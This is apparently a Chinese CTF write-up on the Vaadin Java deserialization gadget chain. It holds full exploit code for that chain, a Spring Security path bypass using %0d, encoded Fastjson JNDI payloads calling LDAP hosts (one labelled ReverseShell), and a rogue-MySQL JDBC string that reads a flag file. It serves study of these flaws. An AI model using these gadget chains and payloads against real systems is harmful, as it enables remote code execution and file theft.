Java安全 - Learning Vaadin Gadget From CTF
字数 1963 2025-08-18 17:33:04
Java安全:从CTF中学习Vaadin反序列化链利用
前言
本文详细分析Vaadin框架中的反序列化漏洞利用链,并结合2023年福建省赛黑盾杯初赛"babyja"题目进行实战演示。主要内容包括Vaadin反序列化链原理、相关类分析、利用方法以及CTF题目中的综合应用。
Vaadin反序列化链概述
Vaadin是一个用于构建Web应用程序的Java框架。其反序列化链的核心是利用反射调用getter方法,通过特定类的组合实现任意代码执行。
关键依赖
- vaadin-server: 7.7.14
- vaadin-shared: 7.7.14
关键类分析
1. NestedMethodProperty类
com.vaadin.data.util.NestedMethodProperty类是一个封装属性方法的类,其核心功能如下:
构造方法:
public NestedMethodProperty(Object instance, String propertyName)
接收两个参数:
- 实例化对象
- 属性值
初始化过程:
- 调用
initialize()方法获取实例类中的相关信息 - 获取传入属性值的getter方法
- 将方法信息存储在成员变量中
关键方法 - getValue():
public Object getValue()
- 遍历封装的
getMethods数组 - 调用其中属性的方法名
- 可用于触发TemplatesImpl的利用方式
2. PropertysetItem类
com.vaadin.data.util.PropertysetItem是实现反序列化链的关键触发类:
特性:
- 实现了多个接口
- 初始化后能对map和list属性进行操作
- 数据存储在成员变量
map中
关键方法:
getItemProperty():从map中获取属性值toString():从list中获取值并调用getValue()addItemProperty():向list和map中添加属性
利用逻辑:
- 通过
addItemProperty()设置list和map内容 toString()方法从list获取id- 从map中获取对应值并调用
getValue()
完整利用链构建
利用链的核心思路:
- 使用
BadAttributeValueExpException触发任意类的toString()方法 PropertysetItem.toString()触发getValue()调用NestedMethodProperty.getValue()反射调用getter方法- 结合
TemplatesImpl实现代码执行
利用代码示例
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Vaadin_Ser {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// 生成包含恶意类字节码的TemplatesImpl类
byte[] payloads = Files.readAllBytes(Paths.get("Calc_Ab.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{payloads});
setFieldValue(templates, "_name", "zjacky");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构建PropertysetItem和NestedMethodProperty
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty nmprop = new NestedMethodProperty(templates, "outputProperties");
pItem.addItemProperty("outputProperties", nmprop);
// 实例化BadAttributeValueExpException并反射写入
BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, pItem);
// 序列化或反序列化
serialize(exception);
// unserialize("ser.bin");
}
}
CTF实战分析:2023闽盾杯初赛babyja
题目分析
环境特点:
- Fastjson黑名单绕过或不出网应用
- Spring Security权限绕过
- Vaadin反序列化链
- C3P0二次反序列化
目录结构:
- 关键组件在pom.xml中明确:
- Fastjson
- Spring Security 5.6.3
- Vaadin
- C3P0
漏洞利用路径
1. Spring Security权限绕过
漏洞点:
- 使用
regexMatchers进行路径匹配 - Spring Security 5.6.3存在设计问题
绕过方法:
- 使用
%0d绕过路径检查 - 示例:访问
/admin/user%0d
2. Fastjson利用
黑名单绕过技术:
- Unicode编码绕过
- 16进制编码绕过
利用方式:
方式一:JNDI注入(出网)
{
"@type": "\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",
"dataSourceName": "ldap://xxx:1389/Basic/ReverseShell/xxx/7979",
"autoCommit": true
}
方式二:C3P0 JNDI注入
{
"@type": "com.mchange.v2.c3p0.\u004a\u006e\u0064\u0069\u0052\u0065\u0066\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065",
"\u004a\u006e\u0064\u0069\u004e\u0061\u006d\u0065": "ldap://127.0.0.1:1389/Basic/Command/calc",
"LoginTimeout": 0
}
3. 不出网情况下的利用
利用链:
C3P0 → 二次反序列化 → Vaadin链
限制:
- TemplatesImpl的16进制被ban
- 无法直接使用TemplatesImpl加载字节码
替代方案:
利用题目中的bean目录下的MyBean类,该类有getConnection()方法,可以:
- 通过Vaadin链调用
getConnection() - 控制JDBC连接恶意MySQL服务器
- 读取flag文件
利用代码:
import com.ctf.bean.MyBean;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class Vaadin_Ser {
// ...(省略序列化方法)
public static void main(String[] args) throws Exception {
MyBean myBean = new MyBean();
myBean.setDatabase("mysql://xxx:3306/test?user=fileread_file:///flag.txt&ALLOWLOADLOCALINFILE=true&maxAllowedPacket=65536&allowUrlInLocalInfile=true#");
PropertysetItem pItem = new PropertysetItem();
NestedMethodProperty nmprop = new NestedMethodProperty(myBean, "Connection");
pItem.addItemProperty("Connection", nmprop);
BadAttributeValueExpException exception = new BadAttributeValueExpException("zjacky");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, pItem);
// 输出HEX序列化结果
System.out.println(bytesToHexString(ser(exception)));
}
}
MySQL连接字符串关键参数:
mysql://1.1.1.1:3306/test?
user=fileread_file:///flag.txt
&ALLOWLOADLOCALINFILE=true
&maxAllowedPacket=65536
&allowUrlInLocalInfile=true#
总结
- Vaadin反序列化链核心是利用
BadAttributeValueExpException触发toString(),通过PropertysetItem和NestedMethodProperty反射调用getter方法 - 在CTF中常结合Fastjson、Spring Security等其他漏洞综合利用
- 不出网环境下可通过二次反序列化或JDBC连接等方式实现利用
- 注意包名和类名的正确性对利用成功至关重要
防御建议
- 升级Vaadin到安全版本
- 对反序列化操作进行严格限制
- 完善Fastjson的黑名单
- 及时更新Spring Security等组件
- 对JDBC连接等敏感操作进行参数过滤